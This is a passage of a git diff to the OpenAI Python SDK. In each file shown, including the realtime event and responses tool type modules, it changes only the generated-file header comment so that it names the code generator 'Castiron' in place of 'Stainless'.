+++ b/src/openai/types/realtime/realtime_truncation_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_truncation_retention_ratio.py b/src/openai/types/realtime/realtime_truncation_retention_ratio.py
index 72a93a5654..142fbb89bb 100644
--- a/src/openai/types/realtime/realtime_truncation_retention_ratio.py
+++ b/src/openai/types/realtime/realtime_truncation_retention_ratio.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_truncation_retention_ratio_param.py b/src/openai/types/realtime/realtime_truncation_retention_ratio_param.py
index 4648fa66b0..2369c8c736 100644
--- a/src/openai/types/realtime/realtime_truncation_retention_ratio_param.py
+++ b/src/openai/types/realtime/realtime_truncation_retention_ratio_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/response_audio_delta_event.py b/src/openai/types/realtime/response_audio_delta_event.py
index ae87014053..9efa9bf2cb 100644
--- a/src/openai/types/realtime/response_audio_delta_event.py
+++ b/src/openai/types/realtime/response_audio_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_audio_done_event.py b/src/openai/types/realtime/response_audio_done_event.py
index 98715aba13..ec900cd2a8 100644
--- a/src/openai/types/realtime/response_audio_done_event.py
+++ b/src/openai/types/realtime/response_audio_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_audio_transcript_delta_event.py b/src/openai/types/realtime/response_audio_transcript_delta_event.py
index 4ec1a820ba..ea6a81bb64 100644
--- a/src/openai/types/realtime/response_audio_transcript_delta_event.py
+++ b/src/openai/types/realtime/response_audio_transcript_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_audio_transcript_done_event.py b/src/openai/types/realtime/response_audio_transcript_done_event.py
index c2a2416355..cd427500a9 100644
--- a/src/openai/types/realtime/response_audio_transcript_done_event.py
+++ b/src/openai/types/realtime/response_audio_transcript_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_cancel_event.py b/src/openai/types/realtime/response_cancel_event.py
index 9c6113998f..3d16c25d08 100644
--- a/src/openai/types/realtime/response_cancel_event.py
+++ b/src/openai/types/realtime/response_cancel_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_cancel_event_param.py b/src/openai/types/realtime/response_cancel_event_param.py
index b233b407f9..b6f77aadfa 100644
--- a/src/openai/types/realtime/response_cancel_event_param.py
+++ b/src/openai/types/realtime/response_cancel_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/response_content_part_added_event.py b/src/openai/types/realtime/response_content_part_added_event.py
index e47c84af20..4a052c2a42 100644
--- a/src/openai/types/realtime/response_content_part_added_event.py
+++ b/src/openai/types/realtime/response_content_part_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_content_part_done_event.py b/src/openai/types/realtime/response_content_part_done_event.py
index a6cb8559b9..1e3c411029 100644
--- a/src/openai/types/realtime/response_content_part_done_event.py
+++ b/src/openai/types/realtime/response_content_part_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_create_event.py b/src/openai/types/realtime/response_create_event.py
index 3e98a8d858..ad9f9496ff 100644
--- a/src/openai/types/realtime/response_create_event.py
+++ b/src/openai/types/realtime/response_create_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_create_event_param.py b/src/openai/types/realtime/response_create_event_param.py
index 9da89e14ee..35fc980f5e 100644
--- a/src/openai/types/realtime/response_create_event_param.py
+++ b/src/openai/types/realtime/response_create_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/response_created_event.py b/src/openai/types/realtime/response_created_event.py
index dc5941262d..8048aea049 100644
--- a/src/openai/types/realtime/response_created_event.py
+++ b/src/openai/types/realtime/response_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_done_event.py b/src/openai/types/realtime/response_done_event.py
index 9c31a2aa03..5ed4303bd3 100644
--- a/src/openai/types/realtime/response_done_event.py
+++ b/src/openai/types/realtime/response_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_function_call_arguments_delta_event.py b/src/openai/types/realtime/response_function_call_arguments_delta_event.py
index a426c3f211..76c21448c9 100644
--- a/src/openai/types/realtime/response_function_call_arguments_delta_event.py
+++ b/src/openai/types/realtime/response_function_call_arguments_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_function_call_arguments_done_event.py b/src/openai/types/realtime/response_function_call_arguments_done_event.py
index 01bae80562..7cd8d53de7 100644
--- a/src/openai/types/realtime/response_function_call_arguments_done_event.py
+++ b/src/openai/types/realtime/response_function_call_arguments_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_mcp_call_arguments_delta.py b/src/openai/types/realtime/response_mcp_call_arguments_delta.py
index d890de0575..30638dccbb 100644
--- a/src/openai/types/realtime/response_mcp_call_arguments_delta.py
+++ b/src/openai/types/realtime/response_mcp_call_arguments_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_mcp_call_arguments_done.py b/src/openai/types/realtime/response_mcp_call_arguments_done.py
index a7cb2d1958..327b7dbc15 100644
--- a/src/openai/types/realtime/response_mcp_call_arguments_done.py
+++ b/src/openai/types/realtime/response_mcp_call_arguments_done.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_mcp_call_completed.py b/src/openai/types/realtime/response_mcp_call_completed.py
index 130260539a..39f461248e 100644
--- a/src/openai/types/realtime/response_mcp_call_completed.py
+++ b/src/openai/types/realtime/response_mcp_call_completed.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_mcp_call_failed.py b/src/openai/types/realtime/response_mcp_call_failed.py
index 1c08d1d4b7..66e917b743 100644
--- a/src/openai/types/realtime/response_mcp_call_failed.py
+++ b/src/openai/types/realtime/response_mcp_call_failed.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_mcp_call_in_progress.py b/src/openai/types/realtime/response_mcp_call_in_progress.py
index 4c0ad149e5..3a9cd5cccb 100644
--- a/src/openai/types/realtime/response_mcp_call_in_progress.py
+++ b/src/openai/types/realtime/response_mcp_call_in_progress.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_output_item_added_event.py b/src/openai/types/realtime/response_output_item_added_event.py
index abec0d18f1..c43eff63f3 100644
--- a/src/openai/types/realtime/response_output_item_added_event.py
+++ b/src/openai/types/realtime/response_output_item_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_output_item_done_event.py b/src/openai/types/realtime/response_output_item_done_event.py
index 63936b97d5..447ea17423 100644
--- a/src/openai/types/realtime/response_output_item_done_event.py
+++ b/src/openai/types/realtime/response_output_item_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_text_delta_event.py b/src/openai/types/realtime/response_text_delta_event.py
index b251b7639c..0528036db9 100644
--- a/src/openai/types/realtime/response_text_delta_event.py
+++ b/src/openai/types/realtime/response_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/response_text_done_event.py b/src/openai/types/realtime/response_text_done_event.py
index 046e520222..ae411c6a32 100644
--- a/src/openai/types/realtime/response_text_done_event.py
+++ b/src/openai/types/realtime/response_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/session_created_event.py b/src/openai/types/realtime/session_created_event.py
index 1b8d4a4d81..9e2291b87d 100644
--- a/src/openai/types/realtime/session_created_event.py
+++ b/src/openai/types/realtime/session_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/session_update_event.py b/src/openai/types/realtime/session_update_event.py
index a8422e4e89..16a16ba32c 100644
--- a/src/openai/types/realtime/session_update_event.py
+++ b/src/openai/types/realtime/session_update_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/session_update_event_param.py b/src/openai/types/realtime/session_update_event_param.py
index 910e89ca34..8f75bf1fe8 100644
--- a/src/openai/types/realtime/session_update_event_param.py
+++ b/src/openai/types/realtime/session_update_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/session_updated_event.py b/src/openai/types/realtime/session_updated_event.py
index e68a08d6cc..b2fb607db9 100644
--- a/src/openai/types/realtime/session_updated_event.py
+++ b/src/openai/types/realtime/session_updated_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/responses/__init__.py b/src/openai/types/responses/__init__.py
index 5e6f45e9b1..1a7e962bd9 100644
--- a/src/openai/types/responses/__init__.py
+++ b/src/openai/types/responses/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/apply_patch_tool.py b/src/openai/types/responses/apply_patch_tool.py
index 45f644648f..d85e3a5f20 100644
--- a/src/openai/types/responses/apply_patch_tool.py
+++ b/src/openai/types/responses/apply_patch_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/apply_patch_tool_param.py b/src/openai/types/responses/apply_patch_tool_param.py
index 95a722cd11..f2058e5cee 100644
--- a/src/openai/types/responses/apply_patch_tool_param.py
+++ b/src/openai/types/responses/apply_patch_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/compacted_response.py b/src/openai/types/responses/compacted_response.py
index 5b333b83c0..1da3d2ec54 100644
--- a/src/openai/types/responses/compacted_response.py
+++ b/src/openai/types/responses/compacted_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/responses/computer_action.py b/src/openai/types/responses/computer_action.py
index f7a21d2ac4..3aa9a82645 100644
--- a/src/openai/types/responses/computer_action.py
+++ b/src/openai/types/responses/computer_action.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/computer_action_list.py b/src/openai/types/responses/computer_action_list.py
index 0198c6e866..0bef4153e9 100644
--- a/src/openai/types/responses/computer_action_list.py
+++ b/src/openai/types/responses/computer_action_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/responses/computer_action_list_param.py b/src/openai/types/responses/computer_action_list_param.py
index 66a03520f7..690669057b 100644
--- a/src/openai/types/responses/computer_action_list_param.py
+++ b/src/openai/types/responses/computer_action_list_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/computer_action_param.py b/src/openai/types/responses/computer_action_param.py
index f60c72b1b4..a01452d755 100644
--- a/src/openai/types/responses/computer_action_param.py
+++ b/src/openai/types/responses/computer_action_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/computer_tool.py b/src/openai/types/responses/computer_tool.py
index 392faa9e79..4788edd98f 100644
--- a/src/openai/types/responses/computer_tool.py
+++ b/src/openai/types/responses/computer_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/computer_tool_param.py b/src/openai/types/responses/computer_tool_param.py
index b5931dea4f..c2f01e5140 100644
--- a/src/openai/types/responses/computer_tool_param.py
+++ b/src/openai/types/responses/computer_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/computer_use_preview_tool.py b/src/openai/types/responses/computer_use_preview_tool.py
index 686860e2cf..98254d4a2c 100644
--- a/src/openai/types/responses/computer_use_preview_tool.py
+++ b/src/openai/types/responses/computer_use_preview_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/computer_use_preview_tool_param.py b/src/openai/types/responses/computer_use_preview_tool_param.py
index 2611c7297f..e966b7e96b 100644
--- a/src/openai/types/responses/computer_use_preview_tool_param.py
+++ b/src/openai/types/responses/computer_use_preview_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/container_auto.py b/src/openai/types/responses/container_auto.py
index 06b8a285bf..8f71f9d73a 100644
--- a/src/openai/types/responses/container_auto.py
+++ b/src/openai/types/responses/container_auto.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/container_auto_param.py b/src/openai/types/responses/container_auto_param.py
index b9e8bb5223..dc01ab9156 100644
--- a/src/openai/types/responses/container_auto_param.py
+++ b/src/openai/types/responses/container_auto_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/container_network_policy_allowlist.py b/src/openai/types/responses/container_network_policy_allowlist.py
index caa2565ea2..c8b4d5dc70 100644
--- a/src/openai/types/responses/container_network_policy_allowlist.py
+++ b/src/openai/types/responses/container_network_policy_allowlist.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/container_network_policy_allowlist_param.py b/src/openai/types/responses/container_network_policy_allowlist_param.py
index 583b761e69..c63a7b2c15 100644
--- a/src/openai/types/responses/container_network_policy_allowlist_param.py
+++ b/src/openai/types/responses/container_network_policy_allowlist_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/container_network_policy_disabled.py b/src/openai/types/responses/container_network_policy_disabled.py
index 47891aa338..eef8ad50df 100644
--- a/src/openai/types/responses/container_network_policy_disabled.py
+++ b/src/openai/types/responses/container_network_policy_disabled.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/container_network_policy_disabled_param.py b/src/openai/types/responses/container_network_policy_disabled_param.py
index 0db7d8ff79..2c2ffdb50c 100644
--- a/src/openai/types/responses/container_network_policy_disabled_param.py
+++ b/src/openai/types/responses/container_network_policy_disabled_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/container_network_policy_domain_secret.py b/src/openai/types/responses/container_network_policy_domain_secret.py
index d0e18ba977..25b88f11bb 100644
--- a/src/openai/types/responses/container_network_policy_domain_secret.py
+++ b/src/openai/types/responses/container_network_policy_domain_secret.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/responses/container_network_policy_domain_secret_param.py b/src/openai/types/responses/container_network_policy_domain_secret_param.py
index 619fbde7a2..28274fdc0a 100644
--- a/src/openai/types/responses/container_network_policy_domain_secret_param.py
+++ b/src/openai/types/responses/container_network_policy_domain_secret_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/container_reference.py b/src/openai/types/responses/container_reference.py
index 17065bf30a..855ad04d7f 100644
--- a/src/openai/types/responses/container_reference.py
+++ b/src/openai/types/responses/container_reference.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/container_reference_param.py b/src/openai/types/responses/container_reference_param.py
index 1da2fb6763..83892539e3 100644
--- a/src/openai/types/responses/container_reference_param.py
+++ b/src/openai/types/responses/container_reference_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/custom_tool.py b/src/openai/types/responses/custom_tool.py
index 99a860d4bf..e126f13883 100644
--- a/src/openai/types/responses/custom_tool.py
+++ b/src/openai/types/responses/custom_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/custom_tool_param.py b/src/openai/types/responses/custom_tool_param.py
index d3626ea8d1..86920f8419 100644
--- a/src/openai/types/responses/custom_tool_param.py
+++ b/src/openai/types/responses/custom_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/easy_input_message.py b/src/openai/types/responses/easy_input_message.py
index aa97827bc0..b497811e8b 100644
--- a/src/openai/types/responses/easy_input_message.py
+++ b/src/openai/types/responses/easy_input_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/easy_input_message_param.py b/src/openai/types/responses/easy_input_message_param.py
index bfc8d577ba..647315307e 100644
--- a/src/openai/types/responses/easy_input_message_param.py
+++ b/src/openai/types/responses/easy_input_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/file_search_tool.py b/src/openai/types/responses/file_search_tool.py
index 09c12876ca..b44ccbd61a 100644
--- a/src/openai/types/responses/file_search_tool.py
+++ b/src/openai/types/responses/file_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/responses/file_search_tool_param.py b/src/openai/types/responses/file_search_tool_param.py
index 82831d0dc0..d75987b39a 100644
--- a/src/openai/types/responses/file_search_tool_param.py
+++ b/src/openai/types/responses/file_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/function_shell_tool.py b/src/openai/types/responses/function_shell_tool.py
index 3ef4eb22e1..2d8542f134 100644
--- a/src/openai/types/responses/function_shell_tool.py
+++ b/src/openai/types/responses/function_shell_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/function_shell_tool_param.py b/src/openai/types/responses/function_shell_tool_param.py
index 135a530ba1..a8867cbbd5 100644
--- a/src/openai/types/responses/function_shell_tool_param.py
+++ b/src/openai/types/responses/function_shell_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/function_tool.py b/src/openai/types/responses/function_tool.py
index b46f63ed0a..55555a7fe9 100644
--- a/src/openai/types/responses/function_tool.py
+++ b/src/openai/types/responses/function_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/function_tool_param.py b/src/openai/types/responses/function_tool_param.py
index 5155f0405e..29a80a5db9 100644
--- a/src/openai/types/responses/function_tool_param.py
+++ b/src/openai/types/responses/function_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/inline_skill.py b/src/openai/types/responses/inline_skill.py
index 87c7ca5f7a..178ea92736 100644
--- a/src/openai/types/responses/inline_skill.py
+++ b/src/openai/types/responses/inline_skill.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/inline_skill_param.py b/src/openai/types/responses/inline_skill_param.py
index f9181693be..20dc3c35df 100644
--- a/src/openai/types/responses/inline_skill_param.py
+++ b/src/openai/types/responses/inline_skill_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/inline_skill_source.py b/src/openai/types/responses/inline_skill_source.py
index 2586cdb008..4c3fd88254 100644
--- a/src/openai/types/responses/inline_skill_source.py
+++ b/src/openai/types/responses/inline_skill_source.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/inline_skill_source_param.py b/src/openai/types/responses/inline_skill_source_param.py
index b14e63e2af..e485ec2195 100644
--- a/src/openai/types/responses/inline_skill_source_param.py
+++ b/src/openai/types/responses/inline_skill_source_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
